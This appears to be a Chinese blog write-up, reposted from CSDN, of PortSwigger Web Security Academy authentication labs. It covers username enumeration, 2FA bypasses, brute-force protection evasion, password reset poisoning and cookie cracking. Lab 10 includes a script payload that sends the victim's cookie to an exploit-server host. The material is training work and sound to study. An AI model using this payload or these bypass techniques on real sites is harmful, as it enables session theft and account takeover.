PortSwigger Authentication

2023-12-26 11:08:33

lab1: Username enumeration via different responses

给了可能的用户名密码

直接爆

image-20231223120519323

lab2: 2FA broken logic

access Carlos’s account page

登录步骤如下

/login1 验证用户名密码

/login2 发验证码 验证验证码

其中访问login2的时候会带上cookie

image-20231221172230175

猜测当vertify的值为carlos的时候 会向carlos的邮箱发验证码

image-20231221172305209

然后post /login2 传mfa-code

由于没有限制 考虑爆破

image-20231221172011276

lab3: Password reset broken logic

重置密码的最后一个阶段 我们传的参数中带了username 尝试改为carlos

image-20231222083239003

image-20231222083314943

lab4: Username enumeration via subtly different responses

? image-20231223123242719

看了一下solution

是先跑的合法用户名 再爆的密码

过程如下

当账户不合法的时候返回的是

Invalid username or password. 合法的时候返回 Invalid username or password

相差一个.

然后得到账户再爆密码就快多了

lab5: Username enumeration via response timing

image-20231223123953214

加XFF

image-20231223234352651

这个环境下username正确 密码越长响应时间越久

image-20231223234719148

lab6: Broken brute-force protection, IP block

比较扯淡

登录失败三次ban ip

在ban ip之前登录正确可以重置计数器

image-20231224000510026

开俩爆破 一个跑正确密码

另一个爆密码 加个延迟

lab7: Username enumeration via account lock

先多多爆几次 把合法的用户爆出来

image-20231224002156541

然后爆密码

image-20231224003104874

这个没回显的就是正确的密码 等待一分钟后提交

lab8: 2FA simple bypass

莫名其妙完成的

回头去看solution

image-20231222084522132

说是在carlos接收到验证码的时候

直接访问/my-account

我的理解是这里的登录分3步 login login2 然后重定向到my-account

在login2处直接访问my-account就跳过了login2的验证

lab9: Brute-forcing a stay-logged-in cookie

image-20231224093854165

image-20231224093926060

cookie的构成是用户名:密码md5

image-20231224094244662

image-20231224094531172

lab10: Offline password cracking

<script>document.location='https://exploit-0a82002e033db374830b2db4013f00bd.exploit-server.net/exploit'+document.cookie</script>

image-20231224095300277

image-20231224095329698

image-20231224095509229

lab11: Password reset poisoning via middleware

看solution得知支持X-Forwarded-Host 可以使用它来将动态生成的重置链接指向任意域

image-20231224101120014

image-20231224101113433

lab12: Password brute-force via password change

当新密码不一致且密码正确的时候会报new pass do not match

密码错误的时候会报 Current password is incorrect

user换carlos爆

在爆破的时候要确保当前的cookie是可用的 不然会302到登录界面

image-20231224102948479

lab13: Broken brute-force protection, multiple credentials per request

image-20231224104315991

用了json来传输密码

考虑把密码改成数组

image-20231224104344602

lab14: 2FA bypass using a brute-force attack

学习burp宏的使用

add 一个 session rule

image-20231224113001702

urlscope选择all

image-20231224113025345

新建规则

image-20231224113047588

新建宏

image-20231224113101239

手动去完成一次登录操作 login -> login2

然后在宏里选择对应的数据包

test macro测试下POST login2是否返回200

200就说明操作对了

一路ok下去 回头设置intruder

确保一个线程image-20231224113229244

image-20231224112651249

手动跳转一下image-20231224112838264

image-20231224112943782

文章来源:https://blog.csdn.net/qq_35782055/article/details/135214167
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。